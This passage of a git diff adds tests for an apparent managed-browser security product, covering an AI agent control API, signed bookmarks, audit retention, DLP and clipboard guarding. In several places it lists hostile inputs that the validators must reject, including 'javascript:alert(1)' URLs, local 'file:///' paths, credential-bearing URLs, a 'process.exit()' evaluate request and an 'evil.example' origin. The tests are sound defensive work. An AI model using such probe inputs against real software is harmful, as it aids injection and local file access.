actions=createAgentAdapters({ + getContext:id=>{calls.push(id);return {ready:true,sessionId:id??foreground,foreground:true,token:{},policyVersion:1,policy:f.context.policy,webContents:f.context.webContents,destinationAllowed:()=>true};}, + getSessions:()=>[],contextCurrent:()=>true,navigate:async()=>{},ai:async()=>{},inspect:async()=>({decision:'allow'}),audit:async()=>{} + }); + f.context.webContents.executeJavaScript=async()=>{foreground='8dc41a3d-c46e-4c35-ae4a-98cfcb3a3553';return{text:'Public material'};}; + await actions.read({}); + assert.deepEqual(calls,[undefined,f.id,f.id]); +}); + +test('background interactions fail before page code runs',async()=>{ + const f=fixture();let executed=false; + const actions=createAgentAdapters({getContext:()=>({...f.context,sessionId:f.id,token:{},foreground:false}),getSessions:()=>[],contextCurrent:()=>true,navigate:async()=>{},ai:async()=>{},inspect:async()=>({decision:'allow'}),audit:async()=>{}}); + f.context.webContents.executeJavaScript=async()=>{executed=true;return{completed:true};}; + await assert.rejects(actions.click({selector:'#submit'}),/unavailable/); + await assert.rejects(actions.type({selector:'#prompt',text:'test'}),/unavailable/); + assert.equal(executed,false); +}); + +test('app controls require explicit new scopes and preserve typed trusted callback arguments',async()=>{ + let called=0; + const f=fixture({appControls:{'settings:update':async args=>{called++;assert.deepEqual(args,{appearance:{mode:'dark'}});return{visible:true,appearance:args.appearance};}}}); + await assert.rejects(f.actions['settings:update']({appearance:{mode:'dark'}}),/scope/); + assert.equal(called,0);f.context.policy.agents.scopes.push('settings:update');f.setUrl('about:blank'); + assert.equal((await f.actions['settings:update']({appearance:{mode:'dark'}})).appearance.mode,'dark'); + assert.equal(called,1); +}); + +test('app result is withheld after policy change and bookmark metadata must pass DLP',async()=>{ + const f=fixture({appControls:{'settings:get':async()=>{f.setVersion(2);return{visible:true};}}}); + f.context.policy.agents.scopes.push('settings:get');await assert.rejects(f.actions['settings:get']({}),/changed/); + const g=fixture({appControls:{'bookmarks:list':async()=>({managed:[{title:'password=hunter22',url:'https://example.test/',folder:''}],personal:{items:[]}})}}); + g.context.policy.agents.scopes.push('bookmarks:list');await assert.rejects(g.actions['bookmarks:list']({}),/Sensitive/); + const h=fixture({inspect:async()=>({decision:'block'}),appControls:{'bookmarks:list':async()=>({managed:[{title:'Confidential program',url:'https://example.test/',folder:''}],personal:{items:[]}})}}); + h.context.policy.agents.scopes.push('bookmarks:list');await assert.rejects(h.actions['bookmarks:list']({}),/Company policy/); +}); + +test('agent tab creation cannot bypass approved destination hosts',async()=>{ + let called=false;const f=fixture({appControls:{'tabs:create':async()=>{called=true;return{completed:true};}}}); + f.context.policy.agents.scopes.push('tabs:create');f.context.policy.agents.allowedHosts=['work.example']; + await assert.rejects(f.actions['tabs:create']({url:'https://other.example/'}),/destination/); + assert.equal(called,false); +}); + +test('whole-application policy capabilities are opt-in and unknown scopes are rejected',()=>{ + assert.deepEqual(AgentsSchema.parse({enabled:true}).scopes,['sessions']); + const scopes=['application:state','settings:get','settings:update','bookmarks:list','bookmarks:mutate','tabs:create','tabs:activate','tabs:close','tabs:group']; + assert.deepEqual(AgentsSchema.parse({enabled:true,scopes}).scopes,scopes); + assert.throws(()=>AgentsSchema.parse({enabled:true,scopes:['policy:override']})); +}); diff --git a/tests/agent-control.test.mjs b/tests/agent-control.test.mjs new file mode 100644 index 0000000..02cdf53 --- /dev/null +++ b/tests/agent-control.test.mjs @@ -0,0 +1,96 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { createRequire } from 'node:module'; +const { startAgentControl } = createRequire(import.meta.url)('../apps/browser/agent-control.cjs'); +async function fixture(t, overrides = {}) { + const calls = [], events = []; + const api = await startAgentControl({ authorize: async ({scope}) => ({allowed:true, role:'agent',scopes:[scope]}), actions: {sessions:async()=>[{id:'work',title:'Work',cookies:'secret'}], navigate:async args=>{calls.push(args);return{};}, read:async()=>({text:'sanitized',password:'secret'}),type:async()=>({}),click:async()=>({}),ai:async()=>({text:'answer'})},audit:async event=>events.push(event),...overrides }); + t.after(()=>api.close()); + const request = (action,args={},headers={})=>fetch(`${api.address}/v1/actions`,{method:'POST',headers:{'Content-Type':'application/json',Authorization:`Bearer ${api.token}`,...headers},body:JSON.stringify({action,args})}); + return {api, request,calls,events}; +} +test('loopback capability authenticates and strips private adapter fields',async t=>{ + const {request,calls,events}=await fixture(t); + assert.equal((await request('sessions',{}, {Authorization:'Bearer wrong'})).status,401); + assert.deepEqual(await (await request('sessions')).json(),{result:[{id:'work',title:'Work'}]}); + assert.deepEqual(await (await request('read',{sessionId:'work'})).json(),{result:{text:'sanitized'}}); + assert.equal((await request('navigate',{sessionId:'work',url:'https://example.com'})).status,200); + assert.equal(calls.length,1); assert.ok(events.some(e=>e.outcome==='authorized')); +}); + +test('omitted session remains omitted and native inventory exposes only approved foreground metadata',async t=>{ + let captured; + const {request}=await fixture(t,{actions:{sessions:async()=>[{id:'71911cdc-a390-4e73-a604-d98d05fd52a5',title:'Work',foreground:true,cookies:'secret'}],read:async args=>{captured=args;return{text:'safe'};}}}); + assert.equal((await request('read')).status,200); + assert.equal(Object.hasOwn(captured,'sessionId'),false); + assert.deepEqual((await (await request('sessions')).json()).result,[{id:'71911cdc-a390-4e73-a604-d98d05fd52a5',title:'Work',foreground:true}]); +}); + +test('typed app actions reject arbitrary settings and project only public application metadata',async t=>{ + const calls=[]; + const {request}=await fixture(t,{actions:{'application:state':async()=>({ready:true,policyVersion:2,activeTabId:'tab',tabCount:2,token:'credential',server:'private'}),'settings:update':async args=>{calls.push(args);return{visible:true,appearance:args.appearance};},'tabs:create':async args=>{calls.push(args);return{completed:true,sessionId:'new-tab',token:'credential'};}}}); + assert.deepEqual((await(await request('application:state')).json()).result,{ready:true,policyVersion:2,activeTabId:'tab',tabCount:2}); + assert.equal((await request('settings:update',{appearance:{allowDevTools:true}})).status,400); + assert.equal((await request('settings:update',{appearance:{mode:'dark'}})).status,200); + assert.equal((await request('tabs:create',{url:'file:///C:/secret'})).status,400); + assert.equal((await request('tabs:create',{url:'https://user:secret@example.test/'})).status,400); + assert.equal((await request('tabs:activate',{})).status,400); + assert.deepEqual((await(await request('tabs:create',{group:'Work',url:'https://example.test/'})).json()).result,{completed:true,sessionId:'new-tab'}); + assert.equal(calls.length,2); +}); + +test('bookmark mutation schema requires exact revision and rejects extra capability arguments',async t=>{ + let captured; + const {request}=await fixture(t,{actions:{'bookmarks:mutate':async args=>{captured=args;return{completed:true};}}}); + const args={action:'add',expectedRevision:0,policyVersion:1,bookmark:{id:'personal',title:'Intranet',url:'https://intranet.example/',folder:'Work'}}; + assert.equal((await request('bookmarks:mutate',args)).status,200); + assert.equal((await request('bookmarks:mutate',{...args,expectedRevision:-1})).status,400); + assert.equal((await request('bookmarks:mutate',{...args,approve:true})).status,400); + assert.equal((await request('bookmarks:mutate',{...args,bookmark:{...args.bookmark,managed:true}})).status,400); + const {folder,...withoutFolder}=args.bookmark; + assert.equal((await request('bookmarks:mutate',{...args,bookmark:withoutFolder})).status,200); + assert.equal(captured.bookmark.folder,''); + assert.equal((await request('bookmarks:mutate',{...args,bookmark:{...withoutFolder,folder:123}})).status,400); + assert.equal((await request('bookmarks:mutate',{...args,bookmark:{...withoutFolder,folder:null}})).status,400); + assert.equal((await request('bookmarks:mutate',{...args,bookmark:{...withoutFolder,folder:'Work\nSecrets'}})).status,400); +}); +test('scope and role are centrally authorized on every action',async t=>{ + const {request,calls}=await fixture(t,{authorize:async()=>({allowed:true,role:'agent',scopes:['sessions:list']})}); + assert.equal((await request('navigate',{sessionId:'work',url:'https://example.com'})).status,403); + assert.equal(calls.length,0); +}); +test('rejects browser origins, execution and unsafe navigation',async t=>{ + const {request}=await fixture(t); + assert.equal((await request('sessions',{}, {Origin:'https://evil.example'})).status,403); + assert.equal((await request('evaluate',{code:'process.exit()'})).status,400); + assert.equal((await request('navigate',{sessionId:'work',url:'file:///C:/secret'})).status,400); + assert.equal((await request('navigate',{sessionId:'work',url:'https://user:secret@example.com'})).status,400); + assert.equal((await request('read',{sessionId:'work',cookies:true})).status,400); +}); +test('revocation immediately disables capability and policy denial changes live',async t=>{ + let allowed=true; + const {api,request}=await fixture(t,{authorize:async({scope})=>({allowed,role:'agent',scopes:[scope]})}); + assert.equal((await request('sessions')).status,200); allowed=false; + assert.equal((await request('sessions')).status,403); api.revoke(); + assert.equal((await request('sessions')).status,401); +}); +test('timeouts abort adapter and rate limit prevents repeated actions',async t=>{ + let signal; + const {request}=await fixture(t,{timeoutMs:20,maxRequestsPerMinute:1,actions:{read:async(_,context)=>{signal=context.signal;await new Promise(resolve=>setTimeout(resolve,100));return{text:'late'};}}}); + assert.equal((await request('read',{sessionId:'work'})).status,504);assert.equal(signal.aborted,true); + assert.equal((await request('read',{sessionId:'work'})).status,429); +}); +test('audit outage fails closed before adapter execution',async t=>{ + const {request,calls}=await fixture(t,{audit:async()=>{throw Error('offline');}}); + assert.equal((await request('navigate',{sessionId:'work',url:'https://example.com'})).status,500); + assert.equal(calls.length,0); +}); +test('trusted diagnostics report known static reasons and suppress arbitrary sensitive messages',async t=>{ + const diagnostics=[]; + const {request}=await fixture(t,{onError:async value=>diagnostics.push(value),actions:{read:async()=>{throw Error('Company policy blocks content access');},type:async()=>{throw Error('password=do-not-log-this');}}}); + assert.equal((await request('read')).status,500); + assert.equal((await request('type',{selector:'#field',text:'public'})).status,500); + assert.equal(diagnostics[0].reason,'Company policy blocks content access'); + assert.equal(diagnostics[1].reason,'unclassified-action-failure'); + assert.equal(JSON.stringify(diagnostics).includes('do-not-log-this'),false); +}); diff --git a/tests/audit-retention.test.mjs b/tests/audit-retention.test.mjs new file mode 100644 index 0000000..0ea5214 --- /dev/null +++ b/tests/audit-retention.test.mjs @@ -0,0 +1,39 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {mkdtempSync,rmSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import {openStore} from '../apps/server/store.mjs'; +import {pruneAuditEvents,startAuditRetention} from '../apps/server/audit-retention.mjs'; +function fixture(t){const directory=mkdtempSync(join(tmpdir(),'safetynet-retention-')),store=openStore(directory);t.after(()=>{store.db.close();rmSync(directory,{recursive:true,force:true});});return store;} +const old='2020-01-01T00:00:00.000Z'; +test('retention preserves pending export, incident evidence and replay deduplication',t=>{ + const s=fixture(t);s.db.exec('CREATE TABLE IF NOT EXISTS incident_cases(id TEXT PRIMARY KEY,event_id INTEGER REFERENCES events(id))'); + for(let i=0;i<4;i++)s.event('device','dlp.block',{ruleId:'rule'}); + s.db.prepare('UPDATE events SET time=?').run(old); + s.db.prepare('INSERT INTO incident_cases(id,event_id) VALUES(?,?)').run('case',2); + s.db.prepare('INSERT INTO device_events VALUES(?,?)').run('device','replay-id'); + const p=pruneAuditEvents(s,{days:30,exportedThrough:3});assert.equal(p.eligible,2);assert.equal(s.db.prepare('SELECT count(*) n FROM events').get().n,4); + const r=pruneAuditEvents(s,{days:30,exportedThrough:3,dryRun:false});assert.equal(r.eligible,2); + assert.deepEqual(s.db.prepare('SELECT id FROM events ORDER BY id').all().map(x=>x.id),[2,4,5]); + assert.equal(s.db.prepare('SELECT count(*) n FROM device_events').get().n,1); + assert.equal(s.db.prepare('SELECT kind FROM events WHERE id=5').get().kind,'audit.retention-applied'); +}); +test('batch and SIEM boundaries never orphan a Sigma correlation',t=>{ + const s=fixture(t),p=s.get('policy');p.security.sigma.rules=[{id:'r',title:'Rule',level:'high',detection:{selection:{kind:'dlp.block'},condition:'selection'}}];s.put('policy',p);s.event('d','dlp.block',{});s.db.prepare('UPDATE events SET time=?').run(old); + assert.equal(pruneAuditEvents(s,{days:30,limit:1,exportedThrough:2,dryRun:false}).eligible,0); + assert.equal(pruneAuditEvents(s,{days:30,exportedThrough:1,dryRun:false}).eligible,0); + assert.equal(pruneAuditEvents(s,{days:30,exportedThrough:2,dryRun:false}).eligible,2); + assert.equal(s.db.prepare('SELECT count(*) n FROM alerts').get().n,0); +}); +test('missing cursor fails closed and retention requires explicit deployment opt-in',t=>{ + const s=fixture(t);s.event(null,'policy.published',{});s.db.prepare('UPDATE events SET time=?').run(old); + assert.throws(()=>pruneAuditEvents(s,{days:30}),/cursor/); + const off=startAuditRetention(s,{status:()=>({cursor:1})});off.run();assert.equal(off.status().enabled,false);assert.equal(s.db.prepare('SELECT count(*) n FROM events').get().n,1);off.stop(); +}); +test('failed deletion rolls back the whole retention operation',t=>{ + const s=fixture(t);s.event(null,'policy.published',{});s.db.prepare('UPDATE events SET time=?').run(old); + s.db.exec("CREATE TRIGGER retention_reject BEFORE INSERT ON events WHEN NEW.kind='audit.retention-applied' BEGIN SELECT RAISE(ABORT,'fixture'); END"); + assert.throws(()=>pruneAuditEvents(s,{days:30,exportedThrough:1,dryRun:false}),/fixture/); + assert.equal(s.db.prepare('SELECT count(*) n FROM events').get().n,1); +}); diff --git a/tests/bookmarks-native.test.mjs b/tests/bookmarks-native.test.mjs new file mode 100644 index 0000000..c5d6df4 --- /dev/null +++ b/tests/bookmarks-native.test.mjs @@ -0,0 +1,13 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import bookmarks from '../apps/browser/bookmarks.cjs'; +import settings from '../apps/browser/managed-settings.cjs'; +const fixture=()=>{const policy={version:3,expiresAt:new Date(Date.now()+60000).toISOString(),browser:{settings:{visible:true,hiddenSections:[],lockedSections:[]},bookmarks:{managed:[{id:'company',title:'Company',url:'https://intranet.example/',folder:''}],allowUserAdd:true,allowUserEdit:true,allowUserDelete:true,personal:{revision:2,items:[{id:'mine',title:'Mine',url:'https://example.com/',folder:''}]}}}};return {policy,ready:true,settings:settings.settingsState({policy,ready:true}),destinationAllowed:url=>new URL(url).hostname==='example.com'};}; +const add=()=>({action:'add',expectedRevision:2,policyVersion:3,bookmark:{id:'new',title:' Example ',url:'https://example.com/',folder:''}}); +test('bookmark mutation binds signed policy and personal revision',()=>{const context=fixture();assert.equal(bookmarks.validateMutation(add(),context).bookmark.title,'Example');for(const input of [{...add(),policyVersion:2},{...add(),expectedRevision:1}])assert.throws(()=>bookmarks.validateMutation(input,context));}); +test('managed bookmark ids cannot be changed through direct native calls',()=>{for(const action of ['add','update','delete']){const input={...add(),action,id:'company',bookmark:{...add().bookmark,id:'company'}};assert.throws(()=>bookmarks.validateMutation(input,fixture()),/Company bookmarks/);}}); +test('independent add edit delete permissions are enforced natively',()=>{for(const [action,permission] of [['add','allowUserAdd'],['update','allowUserEdit'],['delete','allowUserDelete']]){const context=fixture();context.policy.browser.bookmarks[permission]=false;assert.throws(()=>bookmarks.validateMutation({...add(),action,id:'mine',bookmark:{...add().bookmark,id:'mine'}},context),/administrator/);}}); +test('hidden locked expired and paused settings reject native mutations',()=>{for(const mode of ['hidden','locked','expired','paused']){const context=fixture();if(mode==='hidden')context.settings.hiddenSections=['library'];if(mode==='locked')context.settings.lockedSections=['library'];if(mode==='expired')context.policy.expiresAt='2000-01-01';if(mode==='paused')context.ready=false;assert.throws(()=>bookmarks.validateMutation(add(),context));}}); +test('bookmark URLs cannot bypass destination controls or retain sensitive queries',()=>{for(const url of ['javascript:alert(1)','https://other.example/','https://a:b@example.com/','https://example.com/?token=x','https://example.com/#private'])assert.throws(()=>bookmarks.validateMutation({...add(),bookmark:{...add().bookmark,url}},fixture()));}); +test('locked library retains company links; hidden library exposes no bookmark metadata',()=>{const context=fixture();context.settings.lockedSections=['library'];assert.equal(bookmarks.bookmarkState(context).managed.length,1);context.settings.hiddenSections=['library'];assert.deepEqual(bookmarks.bookmarkState(context).managed,[]);}); +test('global settings hiding keeps bookmark navigation readable but forbids changes',()=>{const context=fixture();context.settings.visible=false;const state=bookmarks.bookmarkState(context);assert.equal(state.managed.length,1);assert.equal(state.personal.items.length,1);assert.equal(state.allowUserAdd,false);assert.equal(bookmarks.libraryVisible(context.settings),true);assert.throws(()=>bookmarks.validateMutation(add(),context));context.settings.hiddenSections=['library'];assert.equal(bookmarks.libraryVisible(context.settings),false);assert.deepEqual(bookmarks.bookmarkState(context).personal.items,[]);}); diff --git a/tests/bookmarks.test.mjs b/tests/bookmarks.test.mjs new file mode 100644 index 0000000..97dda66 --- /dev/null +++ b/tests/bookmarks.test.mjs @@ -0,0 +1,19 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {mkdtempSync,rmSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import {randomUUID} from 'node:crypto'; +import {openStore} from '../apps/server/store.mjs'; +import {createApp} from '../apps/server/app.mjs'; +import {BookmarkSchema,BookmarkItemsSchema,verifyBookmarkSnapshot} from '../packages/core/bookmarks.mjs'; +import {verifyPolicy} from '../packages/core/policy.mjs'; +async function fixture(t){const dir=mkdtempSync(join(tmpdir(),'bookmark-test-')),store=openStore(dir),adminToken='test-only-admin-token';const server=createApp(store,{adminToken,publicUrl:'http://127.0.0.1',secure:false}).listen(0,'127.0.0.1');await new Promise(r=>server.on('listening',r));t.after(async()=>{await new Promise(r=>server.close(r));store.db.close();rmSync(dir,{recursive:true,force:true});});async function api(route,{body,token=adminToken,method=body?'POST':'GET'}={}){const r=await fetch(`http://127.0.0.1:${server.address().port}${route}`,{method,headers:{authorization:`Bearer ${token}`,...(body?{'content-type':'application/json'}:{})},body:body?JSON.stringify(body):undefined});return {status:r.status,body:await r.json()};}async function enroll(){const code=(await api('/api/admin/enrollments',{body:{user:'public-fixture'}})).body.code;return (await api('/api/device/enroll',{body:{code,name:'Windows fixture',platform:'win32'},token:''})).body;}return {store,api,enroll};} +const entry={id:'intranet',title:'Company intranet',url:'https://intranet.example/',folder:'Work'}; +test('bookmarks reject secrets, executable schemes and duplicate IDs',()=>{for(const url of ['javascript:alert(1)','file:///C:/secret','https://user:pass@example.com','https://example.com/?token=secret','https://example.com/#secret'])assert.equal(BookmarkSchema.safeParse({...entry,url}).success,false);assert.equal(BookmarkSchema.parse(entry).url,entry.url);}); +test('device bookmark changes are isolated, signed, revisioned and do not republish fleet policy',async t=>{const {store,api,enroll}=await fixture(t),a=await enroll(),b=await enroll();const result=await api('/api/device/bookmarks',{token:a.token,body:{action:'add',bookmark:entry,expectedRevision:0,policyVersion:1}});assert.equal(result.status,200);assert.equal(result.body.version,1);const envelope=(await api('/api/device/policy',{token:a.token})).body;assert.equal(verifyPolicy(envelope,a.publicKey).browser.bookmarks.personal.items.length,0);const payload=verifyBookmarkSnapshot(envelope.bookmarks,a.publicKey,{deviceId:a.id,policyVersion:1});assert.deepEqual(payload.items,[entry]);assert.equal(payload.revision,1);assert.equal((await api('/api/device/policy',{token:b.token})).body.bookmarks.payload.items.length,0);assert.throws(()=>verifyBookmarkSnapshot(envelope.bookmarks,a.publicKey,{deviceId:b.id,policyVersion:1}));assert.throws(()=>verifyBookmarkSnapshot(envelope.bookmarks,a.publicKey,{deviceId:a.id,policyVersion:1,minimumRevision:2}));assert.equal((await api('/api/device/bookmarks',{token:a.token,body:{action:'delete',id:entry.id,expectedRevision:0,policyVersion:1}})).status,409);const metadata=store.db.prepare("SELECT metadata FROM events WHERE kind='bookmarks.changed'").get().metadata;assert.ok(!metadata.includes(entry.url));assert.ok(!metadata.includes(entry.title));}); +test('managed immutability, user permissions and admin read permission enforced at APIs',async t=>{const {api,enroll}=await fixture(t),a=await enroll();let p=(await api('/api/admin/overview')).body.policy;p.browser.bookmarks.managed=[entry];p.browser.bookmarks.allowUserAdd=false;p.version++;assert.equal((await api('/api/admin/policy',{method:'PUT',body:p})).status,200);assert.equal((await api('/api/device/bookmarks',{token:a.token,body:{action:'add',bookmark:{...entry,id:'personal'},expectedRevision:0,policyVersion:2}})).status,403);assert.equal((await api(`/api/admin/devices/${a.id}/bookmarks`,{method:'PUT',body:{expectedRevision:0,policyVersion:2,items:[{...entry,id:'personal'}]}})).status,200);assert.equal((await api('/api/device/bookmarks',{token:a.token,body:{action:'delete',id:entry.id,expectedRevision:1,policyVersion:2}})).status,403);p.version++;p.browser.bookmarks.adminReadUserBookmarks=false;assert.equal((await api('/api/admin/policy',{method:'PUT',body:p})).status,200);assert.equal((await api(`/api/admin/devices/${a.id}/bookmarks`)).status,403);assert.equal((await api(`/api/admin/devices/${a.id}/bookmarks`,{method:'PUT',body:{expectedRevision:1,policyVersion:3,items:[]}})).status,403);}); +test('global policy refuses device personal data and managed ID collisions',async t=>{const {api,enroll}=await fixture(t),a=await enroll();await api('/api/device/bookmarks',{token:a.token,body:{action:'add',bookmark:entry,expectedRevision:0,policyVersion:1}});let p=(await api('/api/admin/overview')).body.policy;p.version++;p.browser.bookmarks.personal={revision:1,items:[entry]};assert.equal((await api('/api/admin/policy',{method:'PUT',body:p})).status,400);p.browser.bookmarks.personal={revision:0,items:[]};p.browser.bookmarks.managed=[entry];assert.equal((await api('/api/admin/policy',{method:'PUT',body:p})).status,400);}); +test('bookmark canonicalization rejects Unicode URL expansion and oversized collections',()=>{assert.equal(BookmarkSchema.parse({...entry,url:'https://EXAMPLE.com'}).url,'https://example.com/');assert.equal(BookmarkSchema.safeParse({...entry,url:'https://example.com/'+ '界'.repeat(1000)}).success,false);const bulky=Array.from({length:100},(_,i)=>({...entry,id:'id'+i,url:'https://example.com/'+ 'a'.repeat(2000),title:'界'.repeat(120),folder:'界'.repeat(80)}));assert.equal(BookmarkItemsSchema.safeParse(bulky).success,false);}); + +test('snapshot signatures reject tampering and expired policy and revoked devices cannot mutate',async t=>{const {store,api,enroll}=await fixture(t),a=await enroll(),env=(await api('/api/device/policy',{token:a.token})).body;const modified=structuredClone(env.bookmarks);modified.payload.items=[entry];assert.throws(()=>verifyBookmarkSnapshot(modified,a.publicKey,{deviceId:a.id,policyVersion:1}));assert.throws(()=>verifyBookmarkSnapshot(env.bookmarks,a.publicKey,{deviceId:a.id,policyVersion:1,now:Date.parse(env.bookmarks.payload.expiresAt)+1}));const p=store.get('policy');p.expiresAt=new Date(Date.now()-1000).toISOString();store.put('policy',p);assert.equal((await api('/api/device/bookmarks',{token:a.token,body:{action:'add',bookmark:entry,expectedRevision:0,policyVersion:1}})).status,403);await api(`/api/admin/devices/${a.id}/revoke`,{body:{}});assert.equal((await api('/api/device/bookmarks',{token:a.token,body:{action:'add',bookmark:entry,expectedRevision:0,policyVersion:1}})).status,401);assert.equal((await api(`/api/admin/devices/${a.id}/bookmarks`)).status,404);}); diff --git a/tests/clipboard-review.test.mjs b/tests/clipboard-review.test.mjs new file mode 100644 index 0000000..e617062 --- /dev/null +++ b/tests/clipboard-review.test.mjs @@ -0,0 +1,51 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { createRequire } from 'node:module'; +import vm from 'node:vm'; +import { defaultPolicy } from '../packages/core/policy.mjs'; +const require=createRequire(import.meta.url),{createClipboardGuard}=require('../apps/browser/clipboard-guard.cjs'),{clipboardScript}=require('../apps/browser/clipboard-dom.cjs'); +const deferred=()=>{let resolve;const promise=new Promise(r=>resolve=r);return{promise,resolve};}; +function guardFixture(inspect){ + const frame={},webContents={mainFrame:frame,focusedFrame:frame};let context={ready:true,policy:defaultPolicy(),url:'https://company.example/login',navigationId:1,webContents};const writes=[],commits=[],discards=[],audit=[]; + const guard=createClipboardGuard({getContext:()=>context,stage:async()=>({text:'public selected text'}),validate:async()=>({completed:true}),commit:async args=>{commits.push(args);return{completed:true};},discard:async args=>discards.push(args),readClipboard:()=> 'public pasted text',writeClipboard:text=>writes.push(text),inspect,audit:async(...args)=>audit.push(args),timeoutMs:25}); + return{guard,webContents,writes,commits,discards,audit,context:()=>context,setContext:c=>{context=c;}}; +} +test('independent clipboard review: changed policy, navigation or readiness prevents release after scanning',async()=>{ + for(const changed of ['policy','url','navigationId','ready']){const pending=deferred(),started=deferred(),f=guardFixture(async()=>{started.resolve();return pending.promise;});const operation=f.guard.perform('copy',f.webContents);await started.promise;const context={...f.context()};context[changed]=changed==='policy'?{...context.policy,version:2}:changed==='url'?'https://other.example/':changed==='navigationId'?2:false;f.setContext(context);pending.resolve({decision:'allow'});assert.equal((await operation).completed,false,changed);assert.equal(f.writes.length,0);assert.equal(f.commits.length,0);assert.equal(f.discards.length,1);assert.equal(JSON.stringify(f.audit).includes('public selected text'),false);} +}); +test('independent clipboard review: timeout does not authorize delayed inspection completion',async()=>{ + const pending=deferred(),started=deferred(),f=guardFixture(async()=>{started.resolve();return pending.promise;});const operation=f.guard.perform('paste',f.webContents);await started.promise;const result=await operation;assert.equal(result.ruleId,'clipboard-timeout');pending.resolve({decision:'allow'});await new Promise(r=>setImmediate(r));assert.equal(f.writes.length,0);assert.equal(f.commits.length,0);assert.ok(f.discards.length>=1); +}); + +test('switching away and back during scan invalidates clipboard authorization',async()=>{ + const pending=deferred(),started=deferred(),f=guardFixture(async()=>{started.resolve();return pending.promise;}); + f.setContext({...f.context(),tabId:'tab-a',activation:1}); + const operation=f.guard.perform('copy',f.webContents);await started.promise; + f.setContext({...f.context(),tabId:'tab-a',activation:3}); + pending.resolve({decision:'allow'});assert.equal((await operation).completed,false); + assert.equal(f.writes.length,0);assert.equal(f.commits.length,0); +}); +test('independent clipboard review: focused nested frame cannot request a main-frame copy',async()=>{ + const f=guardFixture(async()=>({decision:'allow'}));f.webContents.focusedFrame={};assert.equal((await f.guard.perform('copy',f.webContents)).completed,false);assert.equal(f.writes.length,0);assert.equal(f.commits.length,0); +}); +test('independent clipboard review: failed native clipboard write cannot delete a cut selection',async()=>{ + const frame={},webContents={mainFrame:frame,focusedFrame:frame},context={ready:true,policy:defaultPolicy(),url:'https://company.example/',navigationId:1,webContents};let mutations=0,discarded=0; + const guard=createClipboardGuard({getContext:()=>context,stage:async()=>({text:'selected public text'}),validate:async()=>({completed:true}),commit:async()=>{mutations++;return{completed:true};},discard:async()=>{discarded++;},readClipboard:()=>'',writeClipboard:()=>{throw Error('Native write failed');},inspect:async()=>({decision:'allow'}),audit:async()=>{}}); + assert.equal((await guard.perform('cut',webContents)).completed,false);assert.equal(mutations,0);assert.equal(discarded,1); +}); +function domFixture(){ + const matches=(node,selector)=>{selector=selector.trim();if(selector.startsWith('[')){const match=/^\[([^=\]]+)(?:="([^"]+)")?\]$/.exec(selector);return !!match&&Object.hasOwn(node.attributes,match[1])&&(match[2]===undefined||node.attributes[match[1]]===match[2]);}return node.tagName.toLowerCase()===selector;}; + const element=(tag,parent=null,attributes={})=>{const e={nodeType:1,tagName:tag.toUpperCase(),parentElement:parent,attributes,children:[],isConnected:true,type:attributes.type||'',style:{display:'block',visibility:'visible',opacity:'1'},getAttribute:name=>e.attributes[name]??null,getClientRects:()=>[{width:100,height:16}],closest:selector=>{for(let p=e;p;p=p.parentElement)if(selector.split(',').some(s=>matches(p,s)))return p;return null;},querySelector:selector=>descendants(e).find(n=>selector.split(',').some(s=>matches(n,s)))||null};parent?.children.push(e);return e;}; + const descendants=e=>e.children.flatMap(c=>[c,...descendants(c)]),body=element('body'),paragraph=element('p',body),child=element('span',paragraph),range={commonAncestorContainer:paragraph,startContainer:paragraph,endContainer:paragraph,startOffset:0,endOffset:1,toString:()=> 'public text with selected hidden content',cloneRange(){return{...this};},intersectsNode:()=>true},selection={rangeCount:1,isCollapsed:false,getRangeAt:()=>range}; + const document={body,activeElement:body,createTreeWalker:root=>{const nodes=descendants(root);let index=0;return{nextNode:()=>nodes[index++]||null};}},window={};window.top=window; + const sandbox={window,document,location:{href:'https://company.example/'},NodeFilter:{SHOW_ELEMENT:1},getSelection:()=>selection,getComputedStyle:e=>e.style,Event:class{}};vm.createContext(sandbox); + const execute=(mode='stage',operation='copy')=>vm.runInContext(clipboardScript(mode,{url:sandbox.location.href,token:'trusted-token',operation,text:'public replacement',limit:1024}),sandbox); + return{sandbox,document,paragraph,child,element,range,execute}; +} +test('independent clipboard review: selected hidden, inert, script and ancestor-transparent content is refused',()=>{ + for(const type of ['hidden','inert','aria-hidden','script','transparent']){const f=domFixture();if(type==='script')f.child.tagName='SCRIPT';else if(type==='transparent')f.paragraph.style.opacity='0';else f.child.attributes[type]=type==='aria-hidden'?'true':'';assert.throws(()=>f.execute(),undefined,type);assert.equal(f.sandbox.__safetynetClipboardSnapshot,undefined);} + const publicRange=domFixture();assert.equal(publicRange.execute().text,'public text with selected hidden content');publicRange.child.attributes.hidden='';assert.throws(()=>publicRange.execute('commit'));assert.equal(publicRange.sandbox.__safetynetClipboardSnapshot,undefined); +}); +test('independent clipboard review: password fields and parent-hidden text fields never reach the scanner',()=>{ + for(const type of ['password','secret-name','transparent']){const f=domFixture(),input=f.element('input',f.paragraph,{type:type==='password'?'password':'text',...(type==='secret-name'?{name:'api_token'}:{})});Object.assign(input,{value:'private field secret',selectionStart:0,selectionEnd:20,disabled:false,readOnly:false});f.document.activeElement=input;if(type==='transparent')f.paragraph.style.opacity='0';assert.throws(()=>f.execute());assert.equal(f.sandbox.__safetynetClipboardSnapshot,undefined);} +}); diff --git a/tests/clipboard-subframes.fixture.cjs b/tests/clipboard-subframes.fixture.cjs new file mode 100644 index 0000000..1136767 --- /dev/null +++ b/tests/clipboard-subframes.fixture.cjs @@ -0,0 +1,46 @@ +// Isolated native proof fixture; never loaded by the application. +const {app,BrowserWindow,ipcMain,clipboard,ClipboardItem}=require('electron'); +const fs=require('node:fs'),path=require('node:path'),os=require('node:os'),http=require('node:http'); +const {attachPageClipboardGuard,disposePageClipboardGuard}=require('../apps/browser/page-clipboard-guard.cjs'); +const profile=fs.mkdtempSync(path.join(os.tmpdir(),'safetynet-frame-proof-profile-')); +app.setPath('userData',profile);app.setPath('sessionData',profile); +app.enableSandbox();app.disableHardwareAcceleration(); +const temporary=path.join(os.tmpdir(),`safetynet-frame-proof-${process.pid}.cjs`),records=[]; +const control=process.env.SAFETYNET_CLIP_PROOF_CONTROL==='1'; +const 